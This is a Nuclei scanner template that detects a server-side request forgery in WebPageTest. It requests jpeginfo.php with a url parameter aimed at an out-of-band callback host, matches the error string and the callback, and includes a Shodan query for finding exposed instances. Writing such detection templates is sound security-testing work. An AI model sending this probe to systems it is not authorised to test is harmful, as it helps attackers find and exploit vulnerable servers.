id: webpagetest-ssrf

info:
  name: Web Page Test - Server Side Request Forgery (SSRF)
  author: pdteam
  severity: high
  description: Web Page Test is vulnerable to SSRF.
  reference:
    - https://thinkloveshare.com/hacking/preauth_remote_code_execution_web_page_test/
    - https://github.com/WPO-Foundation/webpagetest
  classification:
    cpe: cpe:2.3:a:webpagetest:webpagetest:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: webpagetest
    product: webpagetest
    shodan-query: title:"WebPageTest"
  tags: ssrf,webpagetest,oast

http:
  - method: GET
    path:
      - "{{BaseURL}}/jpeginfo/jpeginfo.php?url={{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "File is not a JPEG Image"

      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 490a00463044022035856d41c870243a7520b5bae3af50bf0164e0a5e5768cd17a3d5008e350834702203a49748fc27bf79a1d609ea7d0f043b566345cdd909c051924f72eb28dfad12a:922c64590222798bb761d5b6d8e72950